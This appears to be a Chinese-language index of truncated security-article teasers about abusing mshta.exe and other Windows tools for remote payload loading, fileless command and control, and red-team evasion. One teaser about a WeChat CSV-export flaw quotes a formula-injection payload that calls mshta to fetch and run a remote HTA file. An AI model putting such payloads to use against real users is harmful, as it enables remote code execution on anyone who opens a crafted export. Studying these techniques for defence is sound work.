Mshta Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序。 HTA 文件的扩展名是 .hta。 HTAs 是独立的应用程序,使用与 Internet ...
windows远程加载Payload代码执行归纳总结
概览说明总体来讲高频使用的上线方法包括powershell、rundll32 、regsvr32、mshta,其他根据具体场景进行结合利用(参考免杀),像powershell、wmi都是综合的专题。类...
关于微信csv导出漏洞
先看图网传payload:=mshta|'http:\ceye.io1.hta'!A0图片说的用户名改成以上payload,测试了一下是可以改的,但是长度有限制,下图多加了1个字符就是极限了,实战中基...
命令控制之Windows COM
文章前言红队之间的合作越来越受欢迎,系统管理员也越来越了解工具和技术,因此避免检测是一项艰巨的任务,另一方面,红队一直在寻找使用合法流量或Windows标准功能来隐藏其活动的命令和控制工具,本机Win...
Win10命令行弹出光驱
1.22 Win10命令行弹出光驱https://scz.617.cn/windows/202303061753.txtA: TK & ChatGPT 2023-03-06mshta "jav...
windows下远程不落地上线的方式
声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此...